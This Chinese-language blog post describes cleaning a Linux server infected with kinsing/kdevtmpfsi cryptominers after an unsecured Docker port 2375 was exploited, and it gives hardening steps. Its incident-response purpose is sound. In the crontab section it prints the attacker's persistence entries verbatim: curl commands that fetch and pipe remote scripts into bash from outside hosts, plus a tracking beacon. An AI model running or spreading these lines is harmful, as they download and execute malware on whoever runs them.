一、警告
二、解决病毒
1.docker 引发的挖矿程序的惨案
(1)病毒原因
(2)解决病毒
2.定时任务crontab不能更改
3.更改ssh端口
4.莫名的curl,导致CPU过高
三、完成
一、警告
在linux中使用docker,redis,ssh,tomcat等 的时候,建议全部更改成自己自定义的端口,开启防火墙并开发自己需要的端口。
二、解决病毒
1.docker 引发的挖矿程序的惨案
发现linux系统中使用的docker自动创建了一些镜像,并且自动创建了很多容器。
docker ps
查看多了一些不是工作人员创建的容器
9123b9382935 felilca/ubuntu:latest "/root/startup.sh" 3 hours ago Created adoring_poincare
020474fba957 felilca/ubuntu:latest "/root/startup.sh" 3 hours ago Created festive_tharp
e29eab638235 felilca/ubuntu:latest "/root/startup.sh" 3 hours ago Created serene_lichterman
286f88317d0a felilca/ubuntu:latest "/root/startup.sh" 3 hours ago Created confident_ptolemy
f40496ce7392 felilca/ubuntu:latest "/root/startup.sh" 3 hours ago Created inspiring_haibt
def4365fc121 felilca/ubuntu:latest "/root/startup.sh" 3 hours ago Created adoring_leavitt
文字方便大家搜索
docker images
发现多了metal3d/xmrig,ubuntu,greekgoods/kimura,felilca/ubuntu等不是我们工作人员自己下载的镜像。
(1)病毒原因
工作人员为了方便开发时部署,把docker的2375端口打开,并且没有设置安全加固方式;
具体的原因可以参考下面篇文章:
Docker 2375 端口入侵服务器
(2)解决病毒
1.首先先查看linux服务器防火墙是否开启: firewall-cmd --state
如果没有开启,请开启,不想开启的话,安全性自己评估
如果防火墙在开启状态,执行下一步
2.查看防火墙开放的端口,并把docker的2375端口进行关闭。(如果病毒是通过redis等方式侵入,可执行相同的步骤,但
是要记得变换端口号)
firewall-cmd --zone=public --remove-port=2375/tcp --permanent
3.端口号关闭之后,进行执行删除docker容器和镜像命令。
1.docker stop $CONTAINER_ID (有多个容器的话,可在后面$CONTAINER_ID拼接,中间加空格)
2.docker rm $CONTAINER_ID
容器删除干净之后,删除不需要的镜像
3.docker rmi $IMAGES_ID (有多个镜像的话,可在后面$IMAGES_ID拼接,中间加空格)
4.杀掉病毒进程
[root@localhost ]# ps -aux | grep kinsing
root 20296 0.0 0.6 119428 50140 ? Sl Mar31 0:01 /var/tmp/kinsing
root 22217 0.0 0.0 118908 984 pts/8 S+ Mar31 0:00 grep --color=auto kinsing
[root@localhost]# ps -aux | grep kdevtmpfsi
root 21476 83.2 0.0 2721344 1484 ? Ssl Mar31 27:47 /tmp/kdevtmpfsi
root 22920 0.0 0.0 118908 988 pts/8 S+ Mar31 0:00 grep --color=auto kdevtmpfsi
[root@localhost ]# kill -9 20296
[root@localhost ]# kill -9 21476
然后删除病毒相关文件
[root@localhost ]# rm -rf /tmp/kdevtmpfsi
[root@localhost ]# rm -rf /var/tmp/kinsing
最后自己可以再检查一下是否还有kdevtmpfsi的相关文件,有的话就继续删除
[root@localhost ]# find / -name kdevtmpfsi
[root@localhost ]# find / -name kinsing
2.定时任务crontab不能更改
说到这个,我就想笑,病毒还是很狡猾的。
(1)查看定时任务
crontab -l
结果为:
*/7 * * * * curl -A fczyo-cron/1.6 -sL $(curl -sL https://anonpasta.rocks/raw/nofoletove) | bash -s >/dev/null 2>&1
*/10 * * * * curl -A fczyo-cron/1.6 -sL $(curl -sL https://anonpasta.rocks/raw/imusacubix) | bash -s >/dev/null 2>&1
*/3 * * * * curl -A goodboy/1.5 -sL https://iplogger.org/1i9ve7
*/2 * * * * curl -A fczyo-cron/1.6 -sL $(curl -sL https://anonpasta.rocks/raw/atucewakep) | bash -s >/dev/null 2>&1
(2)删除定时任务
在我去删除定时任务的时候,发现,病毒把定时任务的文件/var/spool/cron/root更改成了只读状态
查看/var/spool/cron/root文件状态: lsattr /var/spool/cron/root
结果为: ----ia----------- /var/spool/cron/root
(3)更改定时任务属性文件状态(新情况)
执行:chattr -ia /var/spool/cron/root
发现:-bash: /usr/bin/chattr: Permission denied
这是什么情况,chattr命令不能使用,接着查看chattr的情况
执行:ls -l /usr/bin/chattr
发现:-rw-r--r-- 1 root root 0 Apr 13 23:30 /usr/bin/chattr
这是没有执行权限啊,接下来给chattr添加上执行权限
执行:chmod u+x /usr/bin/chattr
添加过之后,再执行 ls -l /usr/bin/chattr,然后查看一下chattr的权限,正常加上去了
执行:chattr -ia /var/spool/cron/root ,返回成功
执行:lsattr/var/spool/cron/root
发现: ----ia----------- /var/spool/cron/root ia权限还是存在,这是怎么回事??????
仔细看下:
执行:ls -l /usr/bin/chattr
返回:-rwxr-xr-x 1 root root 0 Apr 13 23:30 /usr/bin/chattr
哈哈哈:万恶的病毒把chattr的文件内容全部清空了
从另外一台虚拟机上把 /usr/bin/chattr 文件传给这台linux机器吧
然后,执行chattr -ia /var/spool/cron/root ,返回成功
执行:lsattr/var/spool/cron/root
发现: ----------------- /var/spool/cron/root 文件已然正常
==================================================================================
执行:crontab -e 删除掉里面的定时任务,保存,退出
然后给 /var/spool/cron/root 文件添加上只读属性。
完成。
3.更改ssh端口
ssh连接只开放一个自定义端口即可,开放过自定义端口之后,建议把22端口给关掉,
主要就是更改一下:/etc/ssh/sshd_config
4.莫名的curl,导致CPU过高
使用top命令查看,发现一些莫名的curl访问
[root@localhost tmp]# ps -aux | grep curl
root 23431 1.6 0.0 274520 7416 pts/7 S+ Mar31 0:00 curl -sL https://cdn-09.letsupload.cc/B1S4M1D7n9/16c8b421-1586789407/microsoft
root 23484 2.0 0.0 274520 7420 pts/5 S+ Mar31 0:00 curl -sL https://cdn-25.letsupload.cc/B1S4M1D7n9/16c8b421-1586789407/microsoft
root 23554 0.0 0.0 118904 976 pts/8 S+ Mar31 0:00 grep --color=auto curl
root 23583 7.0 0.0 274492 7100 pts/1 S+ Mar31 0:00 curl -sL https://cdn-07.letsupload.cc/3eS7MaDcn6/f3ebe80d-1586789364/google.jpg
root 23612 1.0 0.0 260860 3284 pts/3 S+ Mar31 0:00 curl -sL https://cdn-17.letsupload.cc/J2S1MaDbn9/50934c28-1586789397/ovh.jpg
root 23615 0.0 0.0 260860 3284 pts/4 S+ Mar31 0:00 curl -sL https://cdn-12.letsupload.cc/r6SdMfD8n5/b4029c4c-1586789429/cn.jpg
root 23624 1.0 0.0 268544 4152 pts/2 R+ Mar31 0:00 curl -sL https://cdn-24.letsupload.cc/lbS4M5Dbn2/d5ad92b7-1586789411/amazon.jpg
root 23632 0.0 0.0 260860 3284 pts/6 S+ Mar31 0:00 curl -sL https://cdn-23.letsupload.cc/v6S5M6D4n8/b6c59036-1586789420/de
发现有好多个伪终端在连接(pts/0、1、2、3...)
在linux执行w命令,查看当前连接的终端,发现只有其中两个是工作人员的,其余的全是非法连接。直接使用root用户权限,强制踢出非法连接的: pkill -kill -t pts/1、pkill -kill -t pts/2、pkill -kill -t pts/3、........
三、完成
.ssh连接端口已更改;
docker2375端口已关闭(或者使用安全加固),安全加固方式可参考生成CA证书进行访问,官方生成CA证书;
docker非法镜像及容器已删除;
定时任务已删除;
非法连接伪终端已剔除。